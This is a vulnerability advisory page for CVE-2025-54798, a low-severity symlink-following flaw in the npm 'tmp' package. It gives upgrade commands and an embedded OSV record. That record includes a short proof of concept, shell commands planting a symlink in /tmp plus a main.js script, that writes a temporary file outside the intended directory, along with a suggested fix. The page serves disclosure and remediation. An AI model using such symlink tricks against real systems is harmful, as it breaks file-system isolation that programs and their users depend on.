CVE-2025-54798: Tmp Tmp Allows Arbitrary Temporary File Vulnerability
LOWCVE-2025-54798 is a LOW (CVSS 2.5) tmp allows arbitrary temporary file vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Tmp libraries in the npm ecosystem. The issue involves tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter. Remediation is available by upgrading affected packages to version 0.2.4.
CVE-2025-54798 at a Glance
Security Impact
CVSS: 2.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N).
How to Fix CVE-2025-54798
To remediate this vulnerability, upgrade all affected Tmp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install tmp@0.2.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls tmp
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-54798, inspect your project dependencies using npm:
npm ls tmp
Analyze the terminal output to locate any version of Tmp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.4), your application is affected.
Note: The npm ls tmp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Tmp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54798 Affected Tmp Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tmp
|
npm |
< 0.2.4
|
0.2.4
|
References
Frequently Asked Questions
What is CVE-2025-54798?
Which Tmp versions are affected?
What version fixes CVE-2025-54798?
Is tmp affected?
What is the CVSS score of CVE-2025-54798?
What CWE is associated with CVE-2025-54798?
How can I check npm dependencies for CVE-2025-54798?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-52f5-9888-hmc6",
"modified" : "2025-11-03T21:34:20Z",
"published" : "2025-08-06T17:06:04Z",
"aliases" : [ "CVE-2025-54798" ],
"summary" : "tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter",
"details" : "### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system's tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.\n absolute paths are fine as long as they point to a location under the system's default temporary directory.\n Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n if (name.startsWith(tmpDir)) {\n return path.resolve(name);\n } else {\n return path.resolve(path.join(tmpDir, name));\n }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n if (option === 'name') {\n // assert that name is not absolute and does not contain a path\n if (path.isAbsolute(name))\n throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n // must not fail on valid .<name> or ..<name> or similar such constructs\n let basename = path.basename(name);\n if (basename === '..' || basename === '.' || basename !== name)\n throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n }\n else { // if (option === 'dir' || option === 'template') {\n // assert that dir or template are relative to tmpDir\n if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n }\n let resolvedPath = _resolvePath(name, tmpDir); //<--- \n if (!resolvedPath.startsWith(tmpDir))\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require('tmp');\n\nconst tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});\nconsole.log('File: ', tmpobj.name);\n\ntry {\n tmp.fileSync({ 'dir': 'mydir1'});\n} catch (err) {\n console.log('test 1:', err.message)\n}\n\ntry {\n tmp.fileSync({ 'dir': '/foo'});\n} catch (err) {\n console.log('test 2:', err.message)\n}\n\ntry {\n const fs = require('node:fs');\n const resolved = fs.realpathSync('/tmp/evil-dir');\n tmp.fileSync({ 'dir': resolved});\n} catch (err) {\n console.log('test 3:', err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n let resolvedPath;\n if (name.startsWith(tmpDir)) {\n resolvedPath = path.resolve(name);\n } else {\n resolvedPath = path.resolve(path.join(tmpDir, name));\n }\n return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "tmp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.2.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.2.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54798"
}, {
"type" : "WEB",
"url" : "https://github.com/raszi/node-tmp/issues/207"
}, {
"type" : "WEB",
"url" : "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/raszi/node-tmp"
}, {
"type" : "WEB",
"url" : "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-59" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-06T17:06:04Z",
"nvd_published_at" : "2025-08-07T01:15:26Z"
}
}